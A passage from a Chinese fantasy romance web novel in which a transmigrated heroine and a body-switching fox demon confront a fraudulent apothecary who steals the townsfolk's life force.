等了半晌都不见回答,徐颂禾抬起头,揉了揉被撞得发晕的脑袋,发觉对面那两人似乎压根不在意她。 那是两个老人,看样子应当是夫妻,与其说互相搀扶,不如说是那老头一整个把软绵绵的头靠在了老太太肩膀上。 “老头子,你可要撑住了,”老太太声音里带了哭腔,“余掌柜的药铺马上就到了,他会有办法救你的……” 徐颂禾站在原地看着那两人的背影发了会呆,忽然听见“余掌柜”三字,赶忙追了上去∶“二位可是要找余掌柜?” 那老太太回头看了她一眼,脚步未停。 “我是余掌柜的……徒弟,他命我把这些药分给有需要的镇民,”她紧走两步,很快跟到老太太身边,“这位公公又生的什么病?” 老太太一听是余掌柜的徒弟,语气都着急了不少∶“我家老头子前几日都还好好的,昨日也不知怎的,去了庙回来之后就一直神志不清,嘴里还说着胡话。我老太婆哪里懂这些?原以为他是受了风寒,喝几碗热汤便能好,没想到他半夜昏了过去,怎么也叫不醒,我只好……也不知余掌柜有没有法子救他。” 她说到后边,脸上神情又是悔恨又是害怕,手指不住抹着泪。 他也去了庙里?徐颂禾心觉奇怪,却仍不动声色地道∶“您莫要着急,先听我说,这些药是余掌柜让我分给大家的,对此病颇有效果,您带着公公回家就好,他喝了药之后自会醒来。” 那老婆婆闻言热泪盈眶,感激的话还没说出口,徐颂禾便趁热打铁问道∶“您方才说,您丈夫昨日也去了庙里?” 老太婆点点头∶“他只出过一趟门,便是去的寺庙给余掌柜上香。早知他身子弱,昨日就该让我去……” 那二人背影走远后,徐颂禾待在原地,若有所思地凝起眉。 连续两个人都去了庙上香,是巧合吗? 她低头在药篮子里翻了翻,黑色的药丸在阳光底下闪闪发亮,倒映出另外一人的面容。 徐颂禾愣了一下,转过身去,看见一袭红衣的少年正负着双手,不疾不徐地朝她走来。 “姑娘可真会来事,”他在她面前站定,目光落到她沾了雪的脸上,微微一笑∶“知道你现在这副模样像什么吗?” 徐颂禾莫名其妙∶“像什么?” 少年指尖漫不经心地拂过袖上落雪,眼底淬着点戏谑的笑意∶“像刚偷了东西被人抓住,逃又逃不过的小贼。” 他原本想说“蠢货”,思忖过后还是换了个温柔点的词。 “……” 这个人会不会说话?这是余掌柜亲自递到她手里的,怎么能是偷?! 徐颂禾低头看看自己手中的药篮子,抬起眼时,透过对方漆黑的眸子,她似乎看见了自己眼下些许狼狈的模样。 好吧,好像……也没说错? 23-30 第23章 抓到你了 他的声音不咸不淡, 擦着耳畔落下。 徐颂禾觉得自己快要晕过去了。 如果可以的话,她真的很想昏迷过去,等醒来时, 所有一切都被摆平了, 她还躺在家里舒舒服服的大床上, 那个时候就算让她每天多上一小时t的班她也愿意。 她欲哭无泪地向系统求助∶“系统,有没有那种吃了能让人失忆的东西?” 系统的话语冷冰冰∶“抱歉宿主,暂时还没有那么高级的东西。” 那看来只能靠自己了。 “好吧, 如果你连这都不信的话, 那我接下来要说的真话你就更不会相信了。” 祁无恙松开了手, 颇为耐心地等待着她的下文。 “其实是我做了一个梦,梦里有人告诉了我你以前的那些事, ”徐颂禾努力使自己冷静下来,她斟酌着言辞, 想避开他的雷点,“她不仅告诉我你是妖怪, 还告诉我你就是九尾狐狸,他们口中的九尾大人。我一开始就知道了, 只是还不能确认, 但是现在看你的反应,她说的应该都是真的了。” 她这一套真假掺半的说辞,也不晓得他能不能信。 他的目光来回扫视她, 眼里那一丝怀疑的意味消失了。 祁无恙轻挑起她的下颌, 端详着她因紧张而微微颤抖的眼睫, 嗤笑道∶“那个人告诉了你这么多,有没有告诉你,知道我身份的人是什么下场?” “当然说了, 但我不信,”她在对方略显惊讶的注视下说道∶“还是我刚才说的,我觉得公子你不是坏人,是那些觊觎本就属于他们的东西,还要将你们赶尽杀绝的人太可恨了。但即便这样,你那日也还是放过了流云宗那父子二人,你根本就不想杀人的,更何况无辜之人,对吗?” 感觉到一股力道将她推远了些,徐颂禾踉跄几步,抬起一双茫然的眼睛看他。 祁无恙垂眸拂去袖子上的落花,突然觉得这样的问话很没意思。 她不想说实话,他恰恰也对真相不感兴趣——一个对他毫无威胁的人,有什么非得问清楚的必要? “不是要帮我找身体吗?”他转眸看向愣在原地的人,冷冷勾唇∶“我可没那么有耐心,过几日若是还找不到,就只能让他们都去死了。” 什么意思……这样就翻篇了? 果然大佬的脑回路就是和正常人不一样。 徐颂禾眨了下眼,立刻高兴地跟了上去∶“公子,那余掌柜的雕像恐怕不太对劲,我们就从那里查起怎么样?” “……” * 这两日雪下的不大,屋外传来窸窸窣窣的嘈杂声∶“今日又多亏了余掌柜,我们大伙儿能安然无恙活到今天,可全靠他了。” “是啊,像余掌柜这么好心的人,居然还有歹毒之人想陷害他,要不是让他们侥幸跑了,我非得活剐了他不可!” 对话声越来越近,最后跨进屋来,那两人各取了一支香,跪在雕像前恭恭敬敬地拜了拜,全然没注意到雕像背后有一双眼睛正暗暗观察着自己。 “这怎么有盆花?”其中一人站起身,皱皱眉道∶“掌柜的不是说了,雕像旁边不能放花草?” 另一人也皱起眉,伸手就要去碰那花盆∶“那就把它扔出去……” 忽地,一颗石子从背后飞来,那两人吃痛回头,便见一只兔子在门口徘徊,似乎想打那供品的主意。 “哪来的兔子?这不是你该来的地方,快滚出去。” 他们一时也忘了花盆的事,起身便追赶兔子去了。 少女拍干净手,从雕像背后绕了出来。 “公子,你瞧。” 她盯着那盆枯萎了的花,微微诧异地睁大了眼。 明明拿过来的时候还好好的,这才不到半个时辰,不可能这么快就枯萎了。 “这雕像果然有问题!公子,你能看出什么来吗?” 话音方落,一个毛茸茸的团子从门口溜了进来。 徐颂禾蹲下身把它抱起来,揉揉它身上的毛,“好样的小白,这次你可帮大忙啦。” 祁无恙淡淡瞥了眼一人一兽和谐相处的画面,不紧不慢道∶“有什么问题,直接去问他不是更省事么?” 说罢,他迎着她略带急切的目光,微微一笑∶“放心,只是问问,我不杀人。” * 天边浮现一抹斜阳,金灿灿的余晖洒在街道上,又照在人们的脸上、手臂上。 药铺前乌泱泱聚集了一大群人,余掌柜乐呵呵地坐在躺椅上闭目养神,身子一晃一晃的,像个不倒翁。阿方则站在一旁,撇着嘴为排队的镇民一个个发放解药。 “掌柜的,就这么让他们走了?”他略带迟疑地问。 余百岁不慌不忙地叹了口气,道∶“罢了罢了,诸位的毒既然已经被解开,也就不必对他们赶尽杀绝了。至于丢掉的那些药丸……我再辛苦些,重新做就是了。” 此话一出,立刻便有一片唏嘘∶“掌柜的总是这么好心,那人当真可恨,您放心,他们跑不了多远的,等落到我们手中,一定不让那小子好过!” 阿方转头看了眼满脸享受的余百岁,眉毛不由自主地皱了皱,手上发药的动作减慢了些。 蓦地,身后那扇窗后传来一阵乒乒乓乓的声响,连带着几声吱吱声传入众人耳中。 有人好奇地探出头想往里看,好心提醒道∶“掌柜的,你这屋子里是不是进老鼠了?不要紧吧?” 余百岁闻言睁开眼,朝药6铺看去一眼,皱了皱眉,却依然躺得好好的,没有要动弹的意思。 阿方见状熟练地放下药篮子,低声道∶“我去看看,您有事喊我。” 他转身走入屋门,射下来的阳光被屋前一排排茂密的枝叶遮挡住了,到达药铺内时,已只剩残留的一点余光。阿方点亮了火折,火光照亮整个空间的那一瞬,墙上出现了一只手的影子。 阿方一怔,喝道∶“谁在……” 然而没等他说完,那只手从墙上伸了出来,捂住他的嘴将他拽了过去,剩余的话被堵在了喉咙里。 阿方努力睁圆了眼,高举着手上的火折子,在看清对方的面容前,先听见了一声极低的叫唤。 “别出声,是我。” 他愣了愣,只觉那五指的力道小了些,随后面前浮现出少女的脸。 他感觉能说话了,便奋力挣扎了一下,道∶“是你?你们干什么?快放了我……” “不要乱动,”徐颂禾不熟练地将手里那把刀往他颈前移了移,明明是她要挟别人,可眼下她自己却紧张得咽口水,“你之前说,余掌柜有一间密室,它在哪?快带我们去。” 我……们? 阿方两只眼睛骨碌碌往上转,看清了掐着自己脖子的人的面容。 对方没什么耐心地将手收得更紧,在瞧见他脸色发青后才稍稍放松了些,冷冷道∶“带路。” 钳制松开后,他的身子歪歪扭扭地倒下来,徐颂禾赶紧收回刀,本以为他会视死如归地拒绝他们,没成想他扑在地上狼狈地咳嗽了半晌后,抬起头盯着他们看了良久,喘着粗气道∶“我也不清楚,但你们如果信得过我,我可以带你们去一个地方。” 徐颂禾微微一愣,他答应得这么快,倒让她有些摸不着头脑了。 “等一下,”她狐疑地看着他的眼睛,又看看祁无恙∶“他这么快就答应了,不会是想骗我们吧?” 少年微微一笑,五指在对方脖颈最柔弱处揉过,漫不经心地问∶“你敢吗?” 阿方身体明显颤抖了一下,嘴上仍道∶“我有什么不敢的?外面那些人全是要捉你们的,要不是我可怜你们,只要现在大喊一声,你们就都别想跑了。” 他一口气说了那么多,徐颂禾之捕捉到“可怜你们”四个字,蹙了蹙眉∶“他说什么?” 在阿方的视角里她和祁无恙应当是陷害余掌柜的恶人才是,为什么要可怜他们? 祁无恙淡淡道∶“他说他想死。” “……” 阿方双手被禁锢着,此刻也不敢多说别的话,他喉咙滚了滚,道∶“后面有扇门,从那里出去可以避开其他人的视线。” 听他说要出去,徐颂禾心生疑惑∶“余掌柜的密室,不在药铺里?” 阿方看了她一眼,摇了摇头∶“这药铺我已经来来回回走过几百次了,要真有什么密室,余掌柜也不会准我进来了。” 从药铺后门出去,她还是觉得奇怪,于是又将方才的问题问了一遍∶“阿方,你为什么帮我们?你之前不是说,就算死也不会背叛余掌柜的吗?” 阿方苦笑一声∶“那都是活的好好的时候说的话了,现在真要死了,我当然不愿意。而且……我知道你们是无辜的。” 他说到最后,声音低了下去,但还是被听得一清二楚。徐颂禾一惊,微微睁大了眼,转头和身后押着他的少年对视上了。 祁无恙脸上却没什么惊讶的神色∶“是他让你这么做t的?” “陷害你们那一件是,但现在不是,”阿方表情有些痛苦,“我……我跟了掌柜的三年,从没想到他会是这样的人,虽然不知道你们和他之间有什么恩怨,他为什么要让你们背锅,但此事算下来我也算是帮凶了,如果不来帮你们,我会夜不能寐的!” 两人对视一眼,没再说话。 她也想知道余百岁为什么要这样对他们?照阿方的说法,他这几年来已经带了不少人会来,怎么偏偏到了他们这就开始搞陷害了? 余百岁如果真的不是什么好人,那他又为什么要费这么大心思,留在这里帮助这么多镇民呢? 徐颂禾想得出神,猛地回过劲来时,忽然发现走的这条路有些熟悉。 她停下了脚步,警惕地看着他∶“这不是去寺庙的路吗?你到底要带我们去哪里?” “你怎么知道……” 阿方问到一半止住了,道∶“就是要去庙里。掌柜的每隔一段时间都会到庙里一趟,还偏偏都要在半夜去,一去就是大半宿,你们要找密室,只可能在那里了。” 徐颂禾有些诧异,他们已经反复再庙里搜寻了很久,什么发现也没有,难道真的是他们疏忽了什么? 阿方将他们领到庙前,道∶“我只能送你们到这了,剩下的你们自己找吧。我要是离开得太久,掌柜的该怀疑了。” “站住。” 未待他走出几步,蓦地几道白丝线从身后飞来,穿过两条手臂,将他牢牢束缚住了。 阿方挣了一下,发觉这丝线看上去虽纤细,却越挣扎收得越紧,已经在他的手上勒出了几道血痕。 耳旁忽地响起一声轻笑,他抬头,对上一双乌黑艳丽的眼瞳。 “你现在是想回去,还是想死?” * 又过去几个时辰,阳光变得黯淡了些,药铺前的人群稀疏了不少,排在最后的几人拿完药,笑着打趣道∶“掌柜的,看来你这药铺里的老鼠不少啊,阿方去了这半天都没出来。” 后面跟着有人附和∶“阿方这小子喜欢偷懒,这下子恐怕是进去了就不想出来干活咯。” 余掌柜嘿嘿一笑,挥手打了声招呼,却没答话。 “掌柜的,掌柜的,不好了——” 最后一个人前脚刚走,从身后的药铺里忽地滚出来一个身影,那人手脚并用地爬起来,摔得脸上、手上全是伤。 余百岁皱皱眉,避开了那只伸过来想让他扶起的手,生怕上面的泥垢沾到自己。 “我不是教过你,遇事要淡定,这么冒冒失失的干什么?” 片刻后,他还是咬咬牙弯下腰,抓着他胳膊上干净的地方把他拉了起来。 “对、对不起,是我太冒失了,”阿方平复了呼吸后,才指着药铺,缓缓道∶“方才我以为是老鼠,可是一进去就被人用绳子绑起来了,我费了好大力气才从他手里逃出来。那个人……那个人全身都裹着黑衣,看不出是男是女,我猜可能是和那天下毒的那个人一伙的。” 余百岁脸色一变,腾地站了起来∶“你说什么?!这么大的事怎么不早说?” 阿方一脸委屈∶“不是您让我要淡定的吗……” 余百岁强压下怒火,扔下一句“你呆在外面不许进来”后便转身头也不回地奔了进去。 屋门“砰”的一声关上,他挥手设下了结界,确认外面的人进不来后,才矮身钻进药柜内,伸手在里面捣鼓着什么。 不出几秒,只听见吱呀几声响,那药柜竟和墙面融为了一体,从墙后露出一个漆黑的空间,不仔细看完全想不出这地方还能有第二个房间。 余百岁大步冲进去,也不点蜡烛,就这样摸黑拿了把武器,举着大刀在空气中狠狠挥了几下∶“我知道你躲在哪,你……我不想杀你,后面有扇门,你要是识相,就从那滚出去!” 话音方落,伴随一声巨响,屋后那扇门被人撞开了,一道身影从中窜了出去。 余百岁脸上露出得意的笑∶“呵,果然害怕了!” 他没得意太久,赶紧点了蜡烛,在空间里踱来踱去,最后捧着一个堆满灰尘的小罐子,喃喃自语道∶“还好还在,没被偷就好……” 这间密室天衣无缝,整个小镇除了他自己没人知道它的存在,东西怎么可能丢? 正暗喜之际,背后忽然一阵寒凉,他神色骤变,立刻转身挥动手中的刀就要向下劈落。 可脊背猝不及防让人一点,余百岁只觉身体骤然僵硬,高举着的手怎么也落不下来。他不得不保持着窘迫又劳累的姿势,转着眼珠子想看清对方的面貌。 什么人还能是他的对手? “原来在这,真叫我好找。” 身后有乒乒乓乓的声响,手上已经空了,余百岁脸色一僵∶“放下它,你想要什么,我们可以好好商量。” “放下?”那少年把玩着手里的东西,蓦地一笑,冷冷道∶“是你的东西么?” “是你?” 穴道被人解开,余百岁攥着刀,背后的冲击力让他险些摔倒。他站定后,目光凶狠地看着闯入的不速之客。 这屋子里的灰尘味让人很不好受,徐颂禾捂住鼻子,眉毛轻轻蹙起∶“公子,这小盒子里装的……是你的身体?” 虽然东西找到了,但是一个被分尸的人站在凶手面前,还捧着自己的尸块,这也太诡异了。 她不自觉打了个寒噤,想立刻从这地方消失。 祁无恙视线从她脸上扫过∶“怎么了?” “没、没怎么,”她回答得磕磕绊绊,“既然已经拿到了,那我们走吧……” “慢着。” 正想离开,却听见身后传来一声恶狠狠的叫唤,只见余百岁握紧了刀,脸上露出一个笑,脸庞的肌肉都被牵动起来∶“它要是没了,我就让你们全部人陪葬!” 这是什么老土台词? 她记得她穿的也不是霸总小说啊? 他喊的声音太大,连脚边的小白都被吓得抖了抖毛,徐颂禾生怕引来其他镇民,忙瞪了他一眼,压低声音道∶“你这是什么意思?” 还不让他们拿走了?这家伙怎么对别人的身体占有欲这么大呢? 余百岁嘿嘿笑了两声,拔高音量道∶“年轻人,你确定这里面是你想要的东西吗?” 祁无恙垂下眼帘,面无表情地拔开了罐子,看见里面的东西后,他似乎怔愣了片刻,旋即翻转手腕,让那圆圆的丸子一个接一个落到了手上。 “这是……”徐颂禾愣了下,这不是那些药丸吗?根本不是什么身体。 难道说,他的身体被余掌柜给…… 然而,脑子里那个可怕的念头还没来得及发酵,下一瞬便看见少年手心升起一簇火苗,眨眼间将那药丸烧了个干净。 余百岁笑容骤然僵住,他带着巨大愤怒的目光射过来,周身迸发出的灵力能将常人震开数丈。 徐颂禾抱着小白退后几步,低下头闭上了眼,可等了很久,那意料之内的疼痛并未袭来,她疑惑地睁开眼,映入眼帘的是一袭红色的袖袍。 她愣愣抬眸,一时间还没反应过来,怀里的兔子都快被捂扁了。 少年勾着唇角,那笑意却不达眼底,他扼住对方的脖颈,冷笑道∶“你方才说,要让谁陪葬?” “我不想杀你,你要是识相,就把东西交出来,否则……” 余百岁脖子被一只手掐着,脸庞憋得通红,双腿始终无法着地。他向来被镇民们供着,这里没有人不尊敬他,哪里忍受的住这等狼狈? 他垂放在身侧的那只手动了动,趁着对方不留神,猛地抬起手指,用尽了浑身解数,召出一道灵力来。 凭空而出的法阵将他们一齐笼罩起来,他像是存了同归于尽的决心,要带着羞辱他的人一起死。 祁无恙微挑眉梢,手上力道并未减弱,他抬起眸,视线被一片蓝光覆盖。 若放在平时,这点儿戏般的法阵他甚至不需要出手,但眼下这具身体毕竟孱弱,除非放掉余百岁,拼尽全力尚能抵挡。 他轻嗤一声,将手收得更紧,眼眶微微泛红∶“想同归于尽是吗?好啊,那就看看你是会死在自己的阵法里,还是先死在我的手下。” “小心!” 徐颂禾不清楚这个人为什么大难临头了还不反抗,但这是她的攻略对象,无论如何也不能让他死。 她没有灵丹,也不会法术,面对这样的东西毫无招架之力,索性破罐子破摔,举起手中的刀,用力朝余百岁掷去。 刀锋在半空中划出一道低低的弧度,不偏不倚从t余百岁手臂擦过,留下了一道极深的血痕。 做完这一切后,她脑子一片空白,忐忑地抬起头,望着逐渐暗下去的法阵。 余百岁瞪圆了眼,悔不当初——方才一心想着要杀掉面前这位不速之客,竟忘了屋内还有一人。他捂着鲜血淋漓的手臂,猛然被一股力道推开,重重跌倒在地,只能抬头不甘地看着已经消散了的阵法。 “你……你没事吧?” 徐颂禾回过神来,小心翼翼地挪到他身旁,眼神飞快地将他打量了一遍。 她长这么大第一次动刀伤人,现在还惊魂未定,又往地上不停流血的余掌柜看去,只求自己方才可别下手太重,让他失血过多死了才好。 祁无恙垂下手,目光落到她那只不住颤抖的手上,淡淡一哂∶“昨日不是还说不许滥杀无辜,今天就敢和人动刀了?” “那不一样,”徐颂禾情急之下脱口而出∶“我如果不伤他,我怕他会伤你。” “他伤我,和你有什么关系?” “我不想让你受伤呀,”她回答得理所当然,又觉得他这个问题问的莫名其妙,“你不要老是问我这种奇奇怪怪的问题,我回答不上来。” “你们两个还有没有把我放在眼里?!”余百岁咬着牙给自己止住了血,愤愤地瞪着面前还有功夫你来我往闲聊的两人,怒道∶“真是引狼入室,早知如此,当初就不该把你们带回来!哼,我告诉你们,如果我现在死了,这里的所有人也都会死,你们如果还存着一点良心,就不应该杀我!” 徐颂禾警惕地盯着他∶“你这话是什么意思?” 余百岁纵然活该,可其他镇民却是无辜的,他们也只是受了蒙骗,总罪不至死,她也不想牵连到他们。 “你刚才想要那个盒子,是因为里面有你的气息吧?不想知道为什么吗?”余百岁吐掉嘴里的血水,狞笑道∶“那可要让你失望了,这里什么都没有,你想要的东西……” 他故意停顿了一下,随后嘿嘿一笑,在两人的灼灼目光下继续道∶“我也想不起来放在哪了,要么你们自己找找?” “……” “你根本就不会治病,”祁无恙目无波澜地注视他,淡淡道∶“用着我的东西立功,还企图让那些被我救过的人来杀我,你可真是做的好一场美梦。” “猜对了,可惜对的太晚了,”余百岁装模作样地叹口气,一脸惋惜∶“那东西是我偶然间捡到的,没想到它的主人还会找上门来。唉,那可真是好用,随便匀一点气息就能治百病——起码这些人生的病里,就没有治不好的。是你的东西又怎样?现在他们供奉的还不是我?你即便现在把真相告召出去,又有几个人会信你?” 祁无恙扯了扯唇,冷冷睨着他,似乎随时会出手取他性命。 不清楚方才余百岁的话是真是假,徐颂禾担心会连累其他人,急忙在他动手前拦在他身前,开口道∶“你方才说,如果你死了,其他人也会死,是吓唬我们的?” 余百岁冷哼一声,道∶“谁要骗你们?事到如今我也没什么好瞒的了,你们已经去过那座庙了吧?我现在就能告诉你们,那尊雕像里就有你们要的东西,但如果你们毁了它,这里的所有人都没法活。” 他顿了一下,继续道∶“那里面锁着所有人的灵气和生机,一旦它被毁灭,全部的生机也会流走,到时他们可就都要变成森森白骨了。” 什么灵气,什么生机?怎么净是些她听不懂的? 徐颂禾忽然想起他们在庙里过的第一夜,那个中年汉子说过的话。 药仙会吸食人的生机,这听上去倒还正常,可余掌柜一个正常人要这些东西做什么? “你们要杀我也是一样的,我一死,雕像也会跟着毁灭,”余百岁哈哈大笑起来,牙齿上的血沾到了下唇,“我已经告诉你们了,要怎么做,全看你们自己了。” “好啊,”祁无恙微眯起一双眼眸,笑道∶“那你现在就去死。” “等等等一下,”徐颂禾转过身,注意到他指尖凝起的灵力,立马抬头用哀求的眼神看着他,“公子,这家伙才陷害过你,谁知道他现在说的话是不是真的呢?” 祁无恙没看她,答得轻描淡写∶“杀了他不就知道真不真了么?” 她还想再说,忽地见他转过目光,眼神含笑地瞧着自己∶“如果他们真的死了,不就能找到我的身体了吗?” 少年微微俯身,他们之间的距离蓦地拉进,徐颂禾微微睁眼,不自觉想往后退,却又被攥着胳膊拉了回来。 他微微一笑,说话时的气息洒在耳畔,像有人拿了根狗尾巴草在不停扫动。 “你之前不是说,希望我好的吗?难道你是骗我的?” “我是希望你好,可我也不希望无辜的人受伤害,”徐颂禾被他看得头皮发麻,赶紧别开脸,结结巴巴道∶“我、我觉得还可以有别的法子——你的手怎么了?” 暗红的液体从他指尖滴落,徐颂禾一时忘记了方才要说的话,冲动之下拉过他的手,一片鲜红闯入眼中。 他什么时候受的伤?是方才在阵法里,还是余掌柜扑上来,他把自己推到身后的时候? “你受伤了,还是别跟他打了,”她看了眼后面伤得更重的余百岁,放低了声音∶“还是先止血吧。” 少年眸中闪过一丝不解∶“这点伤止什么血?” “的确不用止血了,”余百岁摇摇晃晃地站起身,手指不知在墙壁上摸索着什么,猛然间他整个身子将墙上撞开一个洞,从中飞了出去,只留下一串长笑和一句“你们好自为之吧!” 徐颂禾“啊”了一声,脑子还懵懵的∶“他让我们好自为之,是什么意思?” 然而比回答更先到来的,是一阵巨大的轰隆声。 粉末灰尘从四周的墙面上簌簌掉落,桌椅在猛烈的摇晃中被掀翻在地,密室外的窗户抖动着,门扉相撞发出砰砰声响,像是下一秒就会被炸开。 这屋子要塌了? 她抱紧了小白,忐忑地抬起头,撞上少年投来的目光。 他淡淡一笑,抬手朝她勾了勾∶“你活够了?” “没、没有啊。” “哦,”祁无恙玩味地看着她,这种时候还有闲心打趣人,“站得离我那么远,还以为你活够了。” 对呀,连余百岁都有办法,难道大佬还出不去吗? 徐颂禾听懂了他这话里的意思,跨过横在他们中间的房梁,刚一挪到他身旁,腰身忽地被人搂住,少年掌心的温度立刻透过衣料传来。 双脚离地的瞬间,她身子一颤,下意识闭上眼,伸手抱住了他。 第一次感受腾云驾雾,她原本应该紧张才对,但此刻双手放在对方腰上,徐颂禾脑子里只闪过一个想法—— 他用的不是自己的身体,那她现在抱着的算是谁?这个人在被夺舍前是死的还是活的?如果是活着的,那以后他每次需要换身体时,岂不是都要杀一个人…… 然而还没等她理清这些乱七八糟的想法,脚下便传来软绵绵的触感,徐颂禾小心翼翼地睁开眼,看见自己已经稳稳当当地落在了地面上。 还好还好,总算没让她摔下去。 “公子,多谢你……” 她垂眸替他把衣袖上方才被自己抓出的褶皱抚平,弯着眼眸抬起脸来,却惊奇地发现对方居然也闭着眼。 ……大佬飞行的时候都不需要用眼睛看路的吗? 她伸手在他身上胡乱拍了一通,对方却仍旧没有反应。徐颂禾奇怪地碰了碰他的手∶“公子,你怎么了?” 话音未落,冰凉的袖子从她手中脱落,她疑惑了一下,然后看见那具身体像被冻得僵硬了,就那般在她面前直挺挺地倒了下去。 她木木地眨了眨眼,尖叫声被自己用手堵了回去。 淡定淡定,他这是……又换身体了吧? 徐颂禾蹲下身,抖着手去探他的鼻息,果然已经没了呼吸。 他身上那袭红衣渐渐褪去,恢复成了她最初看见这具身体时的模样。 她深深吸口气,将视线投到坍塌了的房屋上,不得不承认眼下她又只有一个人了的事实。 为什么要在这种时候把她丢下?万一那些镇民找过来她可怎么办?要换身体就不能提前说吗?现在要让她去那找人? 徐颂禾一连在心里抛出数个疑问,最后决定先解决第二个。 他们闯了这么大的祸,余百岁不可能就这样放过他们,她要先寻t个能藏身自保的地方。至于祁无恙……反正他的身体还在这,总不可能抛下她自己走了吧? 她开始欲哭无泪地向系统求助∶“系统,我能不能预支下一次的道具?” 系统回答道∶“无法预支,但检测到宿主的好感度已足够开启道具模式,宿主每日有三次索取道具的机会,请珍惜。” 好久没听到它播报好感度了,徐颂禾闻言随口问道∶“现在好感度多少了?” “已有40%,请宿主再接再厉。” 这就四十了?上次听到还是二十来着,徐颂禾回忆了一下,这几日她好像也没做什么,这好感度怎么蹭蹭地涨? 但她没功夫深究原因,只感到一阵窃喜——看来祁无恙也不难攻略嘛,照这个速度下去,她很快就能重塑肉身回家了。 她把趴在肩头的小白薅下来抱在怀里,漫无目的地四处走,余掌柜大概很快又会回来,待在这里显然不安全。 绕过了不知几个弯,前面隐隐出现了些人声,徐颂禾停顿片刻,正犹豫着该不该继续往前走,蓦地一只手从巷子里探出来,她不设防备地被拉了进去。 “放开我……” “嘘,是我。”对方用气音低低说了句。 “阿方?”徐颂禾惊讶于在这里看见他,又不确定这人来意如何,立刻往后退几步,警惕起来∶“你怎么会在这?你想做什么?” “你不用紧张,我现在不会害你的,”等外面那些声音走远后,阿方拉着她走了出去,指着一面墙道∶“你看看这是什么?你还敢这样大摇大摆地走在这里,你不要命了吗?” 徐颂禾定睛一看,见那上面贴了一张纸,纸上歪歪扭扭地画了两张人脸,人脸下面的两个名字写得潦草,不仔细看完全辨认不出来。 “……真的很感谢你来提醒我,但或许没必要太担心了,”她无奈地叹口气,在阿方不解的注视下敲了敲那张纸,道∶“画成这样,我就算从他面前经过,也认不出我来吧?” “你还是小心点吧,掌柜的方才说是你们恼羞成怒纵火烧了药铺,还要将他赶尽杀绝,大伙这会正到处找你们,要为他报仇呢!”阿方瞪过来一眼,忽然又嘟哝道∶“我现在帮了你,之前……之前的事可就一笔勾销了,我还是会站在掌柜的这边,下次再见面,我是会跟他们一样抓你的。” 他说罢,挥手虚空比划出一副獠牙利爪的模样,想要吓退她。 徐颂禾还没反应过来,没什么表情地看着他,突然觉得有些好笑,但绝不是在嘲笑他。 眼下这里只有他们两个人,她才真正开始打量起面前的这位少年。 他的脸上总是灰扑扑的,手臂裸露的部分比大地的颜色还要深一些,乍一看像是个中旬汉子,可其实那顶草帽下的脸约莫只有十六七岁,说话时眼睛睁得比平时大,还带着股稚气。 “喂,你有没有在听我说话?”阿方的声音略带不满。 徐颂禾笑了笑,配合他道∶“好,那下次我尽量不让你抓到。” “阿方,阿方——”余百岁高喊了两声,见没有回答,暗骂道∶“这浑小子又跑哪里去了?” 阿方见状推了她一把,催促道∶“你快走吧,掌柜的找我来了,其他人估计也会在这附近。” 徐颂禾也不想和那些人碰上,趁着他出去应付余掌柜,她转身毫不停留地往反方向奔去。 她向系统索要了一副面具,戴上去的瞬间,几个镇民举着武器骂骂咧咧地从自己身旁经过。 徐颂禾心跳猛然加速,她迅速低下头,试图遮掩过去,还一面安慰着自己∶“没事的没事的,都戴了面具了,而且那幅画那么丑,他们认不出来的。” “喂,那边那个,你过来一下。” 她停住脚,缓缓转过头,面具下的两只眼睛看了过去。 “我?” “喊你半天了也不动,是聋了吗?”那几人朝她走了过来,一副折叠得皱皱巴巴的纸张从他们手上展开∶“见过这两个人吗?” 这不是刚才那幅丑画吗?徐颂禾赶紧摇头,手往后面一指,结结巴巴道∶“他……他们刚刚好像跑到那边去了。” “谢了。” 那几人火急火燎地就要赶路,她刚松了口气,他们忽然又掉头折了回来。 徐颂禾一口气差点没憋住——怎么又回来了,难道她被发现了? 他们打量了她一眼,叮嘱道∶“听说那两人心狠手辣,杀人不眨眼,你可要小心啊。” “……” 小镇旁边还有一条小溪,草地上白花花地发着光,徐颂禾弯下腰拍干净上面的雪水,随后小心地抱着膝盖坐了下去。 她自己一个人也没法找东西,现在最要紧的就是找到祁无恙。 可是该从哪找起呢?脑子乱乱的没有一点头绪,徐颂禾俯身将手探进水里,那如镜子般的水面立刻起了一圈圈波纹。 她摘掉面具,用水打湿了手,擦了擦脸后,又想替小白把炸起来的毛抚顺,可它在手心不安地躁动着,下一秒便跳了出去,在溪边来回跳动。 徐颂禾愣了一下∶“怎么了?” 它却跑得更急了,像是碰到了什么妖怪。 她犹疑地将视线投过去,只见阳光照射下,波光粼粼的水面上晃出了一个影子。 徐颂禾猛地回头看去,在看清身后来人的容貌前,脚底下一滑,整个人向后仰去,冰凉的溪水瞬间漫上手臂,点点水花从眼前飞过。 那人偏了偏头,凝着她笑出了声。 “抓到你了。”他笑眯眯地说。 少女抬起一双湿漉漉的眼睛,被水打湿了的眼睫一颤一颤的,她又惊又恐,见他只有一个人,迅速站起身来便想跑。 “跟我去见余掌柜吧。”他朝她走近了一步,微微俯身凝向她,漆黑的眼瞳里倒映着姑娘因受惊而轻轻颤抖的模样。 他笑了一声,给她指了第二条路∶“不想去也可以行,告诉我你的同伴在哪里,我可以当没见过你。” 第24章 都怪你! 他们之间的距离很近, 近到他说话时的气息几乎喷在她脸侧。 徐颂禾的神情一点一点放松下来,她拨开额前被水打湿的碎发,大着胆子直视他的眼睛∶“祁无恙?” “……” 对方脸上的笑意僵了一瞬, 旋即直起身, 顺便勾着衣带把她从水里拉了出来。 “真无趣, 你怎么知道是我的?” “很容易就看出来了啊,”徐颂禾倍感无语,突然之间就从两人联盟变成了孤零零一人, 现在又莫名其妙摔进水里害得她浑身都湿了, 一气之下她愤愤道∶“都什么时候了还有心情开这种玩笑, 到底是谁无趣?” 或许是火气正上头,被弄湿了的衣服沉甸甸地下垂着, 令她好生难受。徐颂禾瞪他一眼,扯了扯自己湿漉漉的衣摆∶“都怪你!你赔我衣服。” 果然还是对她太宽容了, 再乖巧的兔子气急了也会朝他亮出锐利的牙齿。 祁无恙挑了挑眉,嘴角扬起一个不易察觉的弧度∶“好啊, 你出去挑挑,看中谁的, 我就杀了谁, 想要多少都可以。” “你……”徐颂禾被这话噎了一下,干巴巴地眨眨眼睛,别开眼不看他了, “那不用赔了, 我擦擦它就自己干了。” 她从他旁边擦过, 故意在他手上撞了一下以示泄愤,走出两步后又转过头道∶“你下次换身体能不能提前说一声?要不然我上哪找你呀?” 她不提还好,一提这个, 他又追问∶“你还没回答我,你是怎么认出我来的?” 徐颂禾迟疑了一下,还真不知道该怎么回答。 